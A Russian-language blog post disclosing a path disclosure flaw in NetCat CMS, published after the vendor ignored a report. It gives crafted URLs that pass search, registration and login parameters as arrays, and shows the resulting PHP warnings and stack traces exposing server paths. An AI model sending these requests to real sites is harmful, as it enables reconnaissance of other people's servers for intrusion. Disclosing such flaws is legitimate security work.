Раскрытие директории в NetCat CMS

Есть такая CMS как NetCat — «профессиональная система управления сайтами (CMS, Content Management System), которая разрабатывается с 1999 года и является одной из ведущих на российском рынке» — во всяком случае именно так написано на их официальном сайте. Она была установлена на сайте одного из клиентов (хостинговой компании).

Небольшой обзор позволил выполнить ошибку на сайте, что раскрыло пути на сервере. Сразу же написал письма с описанием ошибки в техническую поддержку хостинговой компании и, собственно, в саму компанию-разработчик NetCat CMS. Поддержка хостинга отреагировала почти сразу же — на своем сайте уязвимость закрыли.

Служба поддержки NetCat CMS почему-то не подала признаков жизни и ответа не последовало. Поэтому публикую свои находки здесь — может так скорее залатают те, кому это нужнее, чем самой компании.

Ошибка связана с классическим отсутствием проверки типа вводимых данных при поиске: при отправке некоторых параметров как массива, скрипт падает с ошибками.

URL вызова ошибки:

site.com/search/?action=index&search_query[]=any_value


сайту нравится:


Warning: iconv_strlen() expects parameter 1 to be string, array given in /srv/htdocs/netcat/netcat/modules/search/lib/3rdparty/zend/Zend_Search_Lucene.php on line 38

Warning: preg_match_all() expects parameter 2 to be string, array given in /srv/htdocs/netcat/netcat/modules/search/lib/ui.php on line 304

Warning: strpos() expects parameter 1 to be string, array given in /srv/htdocs/netcat/netcat/modules/search/lib/language/corrector/quotes.php on line 23

Warning: preg_match() expects parameter 2 to be string, array given in /srv/htdocs/netcat/netcat/modules/search/lib/language/corrector/quotes.php on line 23

Warning: preg_match() expects parameter 2 to be string, array given in /srv/htdocs/netcat/netcat/modules/search/lib/util.php on line 166

Warning: preg_match() expects parameter 2 to be string, array given in /srv/htdocs/netcat/netcat/modules/search/lib/language/corrector/quotes.php on line 25

Warning: iconv_strlen() expects parameter 1 to be string, array given in /srv/htdocs/netcat/netcat/modules/search/lib/3rdparty/zend/Zend_Search_Lucene.php on line 38

Warning: preg_match_all() expects parameter 2 to be string, array given in /srv/htdocs/netcat/netcat/modules/search/lib/language/corrector/phrase.php on line 43

Warning: Invalid argument supplied for foreach() in /srv/htdocs/netcat/netcat/modules/search/lib/language/corrector/phrase.php on line 45

Warning: addslashes() expects parameter 1 to be string, array given in /srv/htdocs/netcat/netcat/modules/search/lib/data/persistent.php on line 268

Warning: htmlspecialchars() expects parameter 1 to be string, array given in /srv/htdocs/netcat/netcat/modules/search/lib/ui.php(469) : eval()'d code on line 13

Warning: urlencode() expects parameter 1 to be string, array given in /srv/htdocs/netcat/netcat/modules/search/lib/ui.php on line 96

Warning: htmlspecialchars() expects parameter 1 to be string, array given in /srv/htdocs/netcat/netcat/modules/search/lib/ui.php on line 97

Warning: htmlspecialchars() expects parameter 1 to be string, array given in /srv/htdocs/netcat/netcat/modules/search/lib/ui.php(469) : eval()'d code on line 13

Warning: urlencode() expects parameter 1 to be string, array given in /srv/htdocs/netcat/netcat/modules/search/lib/ui.php on line 96

Warning: htmlspecialchars() expects parameter 1 to be string, array given in /srv/htdocs/netcat/netcat/modules/search/lib/ui.php on line 97


P.S. Я проверил ещё парочку модулей (авторизация, регистрация) — они тоже имеют такие же грешки:

вводим:

http://site.com/netcat/add.php?NC_HTTP_REQUEST[]=1&Password1[]=&Password2[]=&catalogue[]=1&cc[]=466&f_Login[]=&f_Name[]=&f_UserEmail[]=&posting=1&sub=531&template=83


сайт реагирует:

Subdivision with id   does not exist
Fatal error: Uncaught exception 'Exception' with message 'Subdivision with id   does not exist' in /srv/htdocs/netcat/netcat/system/essences/nc_subdivision.class.php:46
Stack trace:
#0 /srv/htdocs/netcat/netcat/system/essences/nc_sub_class.class.php(183): nc_Subdivision->get_by_id(NULL)
#1 /srv/htdocs/netcat/netcat/system/essences/nc_sub_class.class.php(116): nc_Sub_Class->inherit(Array, 0)
#2 /srv/htdocs/netcat/netcat/add.php(85): nc_Sub_Class->get_by_id(0, 'Class_Template_...')
#3 {main}
  thrown in /srv/htdocs/netcat/netcat/system/essences/nc_subdivision.class.php on line 46


Или вот так:


http://site.com/netcat/add.php?AUTH_PW=&AUTH_USER=&AuthPhase[]=1&NC_HTTP_REQUEST[]=1&catalogue[]=3&cc=465&loginsave[]=on&posting[]=1&sub[]=530&template=83


вызывает одну ошибку, а после отправки формы:


Warning: file_put_contents(/srv/htdocs/netcat/netcat_cache/list/155/43/75a887bc49d2dec48d3ec8b91983d255.html.php): failed to open stream: Permission denied in /srv/htdocs/netcat/netcat/modules/cache/nc_cache_io_file.class.php on line 48


Классно, через простую ошибку добрались до поломки кеша.

Резюме:

Заметим, что это ещё только поверхностный анализ без просмотра кода, а там, уверен, можно было бы найти много чего интересного.

Если такая кмс является ведущей на российском на рынке (как заявляют разработчики), то мне кажутся смутными перспективы таких сайтов: дыра на дыре.

Итог: ставьте livestreet, не изобретайте велосипеды.
2 комментария
Kinonaniil Imperatovich
Эта публикация что-то дала? Пытались связаться для получения подробностей?
Serge Pustovit
Не знаю. Известно только что на этот топики были переходы из внутреннего закрытого трекера компании (согласно GA), который у них находится на поддомене основного сайта.
Видимо баг заметили и обсуждали.
Только зарегистрированные и авторизованные пользователи могут оставлять комментарии.